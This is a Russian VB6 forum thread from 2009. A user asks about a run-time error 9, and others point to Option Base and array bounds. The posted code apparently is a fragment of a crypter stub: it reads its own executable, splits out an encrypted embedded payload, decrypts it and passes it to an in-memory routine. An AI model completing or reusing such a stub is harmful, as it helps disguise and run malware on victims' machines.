VPF::ошибка run-time error '9 - Форум программистов

demien

Дата 9.3.2009, 22:40 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 5
Регистрация: 9.3.2009

Репутация: нет
Всего: нет

Привет всем!
При компиляции программы на VB6 вылетает ошибка run-time error '9
уже измучался, не могу найти причину

user posted image

ошибка на этом участке кода:

Код


Const energy = "{~|<(*)>|~}"
Dim info As String
Dim source As String
Dim pth As String
Dim ldr() As Byte
Dim winsock As New clscrypt
Dim fileinfo() As String

Sub Main()
Open App.Path + "\" + App.EXEName + ".exe" For Binary Access Read As #1
info = String(LOF(1), vbNullChar)
Get #1, , info
Close #1
fileinfo() = Splitter(info, energy)
source = winsock.DecryptString(fileinfo(1), fileinfo(4))  '<== вот тут ошибка при компиляции
ldr = StrConv(source, vbFromUnicode)
pth = ThisExe
Call memory
End
End Sub

если нужно будет, выложу остальуню чать кода

Это сообщение отредактировал(а) demien - 9.3.2009, 22:43

Akina

Дата 9.3.2009, 23:56 (ссылка)

(нет голосов)

Загрузка ...

Советчик

Профиль
Группа: Модератор
Сообщений: 20581
Регистрация: 8.4.2004
Где: Зеленоград

Репутация: 34
Всего: 454

Option Base 1 ?

--------------------

О(б)суждение моих действий - в соответствующей теме, пожалуйста. Или в РМ. И высшая инстанция - Администрация форума.

demien

Дата 10.3.2009, 09:16 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 5
Регистрация: 9.3.2009

Репутация: нет
Всего: нет

Цитата

Option Base 1 ?

? что это значит?

Akina

Дата 10.3.2009, 09:38 (ссылка)

(нет голосов)

Загрузка ...

Советчик

Профиль
Группа: Модератор
Сообщений: 20581
Регистрация: 8.4.2004
Где: Зеленоград

Репутация: 34
Всего: 454

Это значит, что надо заглянуть в справку по предложенному термину. Полагаю, что массив fileinfo определён как fileinfo(0 to 3), отсюда и переполнение.

--------------------

Dexx

Дата 10.3.2009, 09:39 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 292
Регистрация: 13.6.2005

Репутация: 5
Всего: 7

Option Base {0 | 1}

Устанавливает нижнюю границу индексов массива

Это сообщение отредактировал(а) Dexx - 10.3.2009, 09:41

--------------------

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| VB6 \| Следующая тема »